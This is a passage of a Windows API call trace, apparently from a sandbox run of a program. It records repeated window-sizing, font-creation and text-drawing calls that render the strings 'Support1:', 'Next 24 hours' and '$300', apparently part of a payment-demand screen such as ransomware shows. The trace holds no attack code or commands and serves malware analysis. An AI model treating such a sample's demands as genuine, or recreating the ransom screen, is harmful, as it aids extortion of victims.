dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.269] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.269] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.269] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0152.269] CreateFontIndirectW (lplf=0xeeb088) returned 0x340a06de [0152.269] CoTaskMemFree (pv=0xeeb088) [0152.269] GetObjectW (in: h=0x340a06de, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.269] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fae090 | out: psizl=0x2fae090) returned 1 [0152.269] DeleteObject (ho=0x340a06de) returned 1 [0152.269] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.270] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.270] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.270] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.270] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.270] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.270] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0152.270] CreateFontIndirectW (lplf=0xeeac10) returned 0x350a06de [0152.270] CoTaskMemFree (pv=0xeeac10) [0152.270] GetObjectW (in: h=0x350a06de, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.270] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fae2a0 | out: psizl=0x2fae2a0) returned 1 [0152.270] DeleteObject (ho=0x350a06de) returned 1 [0152.270] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.270] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.271] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Support1:", cchText=9, lprc=0x19df5c, format=0x2400, lpdtp=0x2fae34c | out: lpchText="Support1:", lprc=0x19df5c) returned 24 [0152.271] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.271] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.271] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.271] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41340000, style=1, unit=0x3, font=0x2fae3f4) returned 0x0 [0152.271] GdipGetFontSize (font=0x6911820, size=0x2fae3f8) returned 0x0 [0152.271] GetDC (hWnd=0x0) returned 0x1b010670 [0152.271] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.272] GdipGetFontHeight (font=0x6911820, graphics=0x6911848, height=0x19e100) returned 0x0 [0152.272] GdipDeleteGraphics (graphics=0x6911848) returned 0x0 [0152.272] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.272] GetDC (hWnd=0x0) returned 0x1b010670 [0152.272] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.272] GdipGetFontHeight (font=0x6911820, graphics=0x6911848, height=0x19e090) returned 0x0 [0152.272] GdipDeleteGraphics (graphics=0x6911848) returned 0x0 [0152.272] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.272] GetSystemMetrics (nIndex=5) returned 1 [0152.272] GetSystemMetrics (nIndex=6) returned 1 [0152.272] GetSystemMetrics (nIndex=5) returned 1 [0152.272] GetSystemMetrics (nIndex=6) returned 1 [0152.272] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.273] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.273] GetSystemMetrics (nIndex=5) returned 1 [0152.273] GetSystemMetrics (nIndex=6) returned 1 [0152.273] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.273] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.273] CoTaskMemAlloc (cb=0x12) returned 0xf0d550 [0152.282] GetSystemMetrics (nIndex=5) returned 1 [0152.282] GetSystemMetrics (nIndex=6) returned 1 [0152.283] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.283] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.283] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.283] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.283] CoTaskMemAlloc (cb=0x12) returned 0xf0d4f0 [0152.285] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.285] CoTaskMemAlloc (cb=0x12) returned 0xf0d3d0 [0152.287] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.287] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41340000, style=1, unit=0x3, font=0x2faf274) returned 0x0 [0152.287] GdipGetFontSize (font=0x6911848, size=0x2faf278) returned 0x0 [0152.287] GetDC (hWnd=0x0) returned 0x1b010670 [0152.287] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.287] GdipGetFontHeight (font=0x6911848, graphics=0x6911870, height=0x19e100) returned 0x0 [0152.287] GdipDeleteGraphics (graphics=0x6911870) returned 0x0 [0152.287] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.288] GetDC (hWnd=0x0) returned 0x1b010670 [0152.288] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.288] GdipGetFontHeight (font=0x6911848, graphics=0x6911870, height=0x19e090) returned 0x0 [0152.288] GdipDeleteGraphics (graphics=0x6911870) returned 0x0 [0152.288] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.288] GetSystemMetrics (nIndex=5) returned 1 [0152.288] GetSystemMetrics (nIndex=6) returned 1 [0152.288] GetSystemMetrics (nIndex=5) returned 1 [0152.288] GetSystemMetrics (nIndex=6) returned 1 [0152.289] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.289] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.289] GetSystemMetrics (nIndex=5) returned 1 [0152.289] GetSystemMetrics (nIndex=6) returned 1 [0152.289] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.289] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.289] GetSystemMetrics (nIndex=5) returned 1 [0152.289] GetSystemMetrics (nIndex=6) returned 1 [0152.289] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.289] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.290] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.290] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.290] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.290] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.290] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.290] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41340000, style=1, unit=0x3, font=0x2fb0160) returned 0x0 [0152.290] GdipGetFontSize (font=0x6911870, size=0x2fb0164) returned 0x0 [0152.291] GetDC (hWnd=0x0) returned 0x1b010670 [0152.291] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.291] GdipGetFontHeight (font=0x6911870, graphics=0x6911898, height=0x19e100) returned 0x0 [0152.291] GdipDeleteGraphics (graphics=0x6911898) returned 0x0 [0152.291] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.291] GetDC (hWnd=0x0) returned 0x1b010670 [0152.291] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.324] GdipGetFontHeight (font=0x6911870, graphics=0x6911898, height=0x19e090) returned 0x0 [0152.324] GdipDeleteGraphics (graphics=0x6911898) returned 0x0 [0152.324] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.324] GetSystemMetrics (nIndex=5) returned 1 [0152.324] GetSystemMetrics (nIndex=6) returned 1 [0152.324] GetSystemMetrics (nIndex=5) returned 1 [0152.324] GetSystemMetrics (nIndex=6) returned 1 [0152.324] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.325] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.325] GetSystemMetrics (nIndex=5) returned 1 [0152.325] GetSystemMetrics (nIndex=6) returned 1 [0152.325] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.325] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.325] GetSystemMetrics (nIndex=5) returned 1 [0152.325] GetSystemMetrics (nIndex=6) returned 1 [0152.325] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.325] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.325] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.325] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.326] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.326] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.326] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.326] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41340000, style=1, unit=0x3, font=0x2fb0c94) returned 0x0 [0152.326] GdipGetFontSize (font=0x6911898, size=0x2fb0c98) returned 0x0 [0152.326] GetDC (hWnd=0x0) returned 0x1b010670 [0152.326] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.326] GdipGetFontHeight (font=0x6911898, graphics=0x69118c0, height=0x19e100) returned 0x0 [0152.326] GdipDeleteGraphics (graphics=0x69118c0) returned 0x0 [0152.326] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.326] GetDC (hWnd=0x0) returned 0x1b010670 [0152.327] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.327] GdipGetFontHeight (font=0x6911898, graphics=0x69118c0, height=0x19e090) returned 0x0 [0152.327] GdipDeleteGraphics (graphics=0x69118c0) returned 0x0 [0152.327] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.327] GetSystemMetrics (nIndex=5) returned 1 [0152.327] GetSystemMetrics (nIndex=6) returned 1 [0152.327] GetSystemMetrics (nIndex=5) returned 1 [0152.327] GetSystemMetrics (nIndex=6) returned 1 [0152.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.327] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.327] GetSystemMetrics (nIndex=5) returned 1 [0152.327] GetSystemMetrics (nIndex=6) returned 1 [0152.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.328] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.328] GetSystemMetrics (nIndex=5) returned 1 [0152.328] GetSystemMetrics (nIndex=6) returned 1 [0152.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.328] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.328] AdjustWindowRectEx (in: lpRect=0x19e064, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e064) returned 1 [0152.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.328] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.328] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.328] GdipCreateFont (fontFamily=0x57f2240, emSize=0x417c0000, style=1, unit=0x3, font=0x2fb1d14) returned 0x0 [0152.329] GdipGetFontSize (font=0x69118c0, size=0x2fb1d18) returned 0x0 [0152.329] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.329] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0152.329] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.329] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0152.330] CoTaskMemAlloc (cb=0x12) returned 0xf0d350 [0152.341] GetCurrentThreadId () returned 0x390 [0152.341] GetCurrentThreadId () returned 0x390 [0152.341] GetCurrentThreadId () returned 0x390 [0152.341] GetCurrentThreadId () returned 0x390 [0152.341] GetCurrentThreadId () returned 0x390 [0152.341] GetCurrentThreadId () returned 0x390 [0152.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.341] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.342] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.342] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.342] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.342] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.342] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.342] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0152.342] CreateFontIndirectW (lplf=0xeeb290) returned 0x360a06de [0152.342] CoTaskMemFree (pv=0xeeb290) [0152.342] GetObjectW (in: h=0x360a06de, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.342] SelectObject (hdc=0x8e0106dd, h=0x360a06de) returned 0x380a071a [0152.342] DeleteObject (ho=0x380a071a) returned 1 [0152.342] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb2490 | out: psizl=0x2fb2490) returned 1 [0152.343] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.343] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.343] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.343] GdipCreateFont (fontFamily=0x57f1f60, emSize=0x41900000, style=1, unit=0x3, font=0x2fb2538) returned 0x0 [0152.343] GdipGetFontSize (font=0x69118e8, size=0x2fb253c) returned 0x0 [0152.343] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.343] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.344] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df28, language=0x409 | out: name="Arial") returned 0x0 [0152.344] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.344] CoTaskMemAlloc (cb=0x5c) returned 0xeeadb0 [0152.344] CreateFontIndirectW (lplf=0xeeadb0) returned 0x390a071a [0152.344] CoTaskMemFree (pv=0xeeadb0) [0152.344] GetObjectW (in: h=0x390a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.344] SelectObject (hdc=0x8e0106dd, h=0x390a071a) returned 0x360a06de [0152.344] DeleteObject (ho=0x360a06de) returned 1 [0152.344] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb27d4 | out: psizl=0x2fb27d4) returned 1 [0152.345] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.345] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.345] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.345] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.345] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.345] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.345] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0152.345] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x370a06de [0152.346] CoTaskMemFree (pv=0xeeb0f0) [0152.346] GetObjectW (in: h=0x370a06de, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.346] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb29cc | out: psizl=0x2fb29cc) returned 1 [0152.346] DeleteObject (ho=0x370a06de) returned 1 [0152.346] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.346] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.346] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.346] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.346] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.346] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.346] CoTaskMemAlloc (cb=0x5c) returned 0xeeb2f8 [0152.347] CreateFontIndirectW (lplf=0xeeb2f8) returned 0x380a06de [0152.347] CoTaskMemFree (pv=0xeeb2f8) [0152.347] GetObjectW (in: h=0x380a06de, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.347] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb2bdc | out: psizl=0x2fb2bdc) returned 1 [0152.347] DeleteObject (ho=0x380a06de) returned 1 [0152.347] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.347] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.347] GdipGetFamilyName (in: family=0x57f1f60, name=0x19de5c, language=0x409 | out: name="Arial") returned 0x0 [0152.347] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.347] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0152.347] CreateFontIndirectW (lplf=0xeeafb8) returned 0x390a06de [0152.347] CoTaskMemFree (pv=0xeeafb8) [0152.347] GetObjectW (in: h=0x390a06de, c=92, pv=0x19de20 | out: pv=0x19de20) returned 92 [0152.347] GetMapMode (hdc=0x8e0106dd) returned 1 [0152.348] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19de50 | out: lptm=0x19de50) returned 1 [0152.348] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Next 24 hours", cchText=13, lprc=0x19df5c, format=0x2400, lpdtp=0x2fb2dd8 | out: lpchText="Next 24 hours", lprc=0x19df5c) returned 29 [0152.378] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.378] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.378] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.378] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.378] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.378] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.378] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0152.378] CreateFontIndirectW (lplf=0xeeb088) returned 0x630a0541 [0152.378] CoTaskMemFree (pv=0xeeb088) [0152.378] GetObjectW (in: h=0x630a0541, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.379] SelectObject (hdc=0x8e0106dd, h=0x630a0541) returned 0x390a071a [0152.379] DeleteObject (ho=0x390a071a) returned 1 [0152.379] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb3050 | out: psizl=0x2fb3050) returned 1 [0152.379] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.379] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.380] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.380] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41900000, style=1, unit=0x3, font=0x2fb3104) returned 0x0 [0152.380] GdipGetFontSize (font=0x6911c08, size=0x2fb3108) returned 0x0 [0152.380] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.380] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.380] GdipGetFamilyName (in: family=0x57f2240, name=0x19df28, language=0x409 | out: name="Arial Black") returned 0x0 [0152.380] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.380] CoTaskMemAlloc (cb=0x5c) returned 0xeeaf50 [0152.380] CreateFontIndirectW (lplf=0xeeaf50) returned 0x3a0a071a [0152.380] CoTaskMemFree (pv=0xeeaf50) [0152.380] GetObjectW (in: h=0x3a0a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.381] SelectObject (hdc=0x8e0106dd, h=0x3a0a071a) returned 0x630a0541 [0152.381] DeleteObject (ho=0x630a0541) returned 1 [0152.381] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb33c4 | out: psizl=0x2fb33c4) returned 1 [0152.381] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.381] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.382] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.382] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.382] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.382] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.382] CoTaskMemAlloc (cb=0x5c) returned 0xeeae18 [0152.382] CreateFontIndirectW (lplf=0xeeae18) returned 0x640a0541 [0152.382] CoTaskMemFree (pv=0xeeae18) [0152.382] GetObjectW (in: h=0x640a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.382] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb35e0 | out: psizl=0x2fb35e0) returned 1 [0152.382] DeleteObject (ho=0x640a0541) returned 1 [0152.382] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.382] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.383] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.383] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.383] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.383] CoTaskMemAlloc (cb=0x5c) returned 0xeeaf50 [0152.383] CreateFontIndirectW (lplf=0xeeaf50) returned 0x650a0541 [0152.383] CoTaskMemFree (pv=0xeeaf50) [0152.383] GetObjectW (in: h=0x650a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.383] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb3814 | out: psizl=0x2fb3814) returned 1 [0152.383] DeleteObject (ho=0x650a0541) returned 1 [0152.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.383] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.383] DrawTextExW (in: hdc=0x8e0106dd, lpchText="$300", cchText=4, lprc=0x19df5c, format=0x2400, lpdtp=0x2fb38b8 | out: lpchText="$300", lprc=0x19df5c) returned 33 [0152.384] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.384] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.384] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.384] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.384] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.384] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.384] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0152.384] CreateFontIndirectW (lplf=0xeead48) returned 0x660a0541 [0152.384] CoTaskMemFree (pv=0xeead48) [0152.384] GetObjectW (in: h=0x660a0541, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.384] SelectObject (hdc=0x8e0106dd, h=0x660a0541) returned 0x3a0a071a [0152.385] DeleteObject (ho=0x3a0a071a) returned 1 [0152.385] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb3b30 | out: psizl=0x2fb3b30) returned 1 [0152.417] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.418] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.418] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.418] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41900000, style=1, unit=0x3, font=0x2fb3be4) returned 0x0 [0152.418] GdipGetFontSize (font=0x6911c30, size=0x2fb3be8) returned 0x0 [0152.418] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.418] AdjustWindowRectEx (in: lpRect=0x19df60, 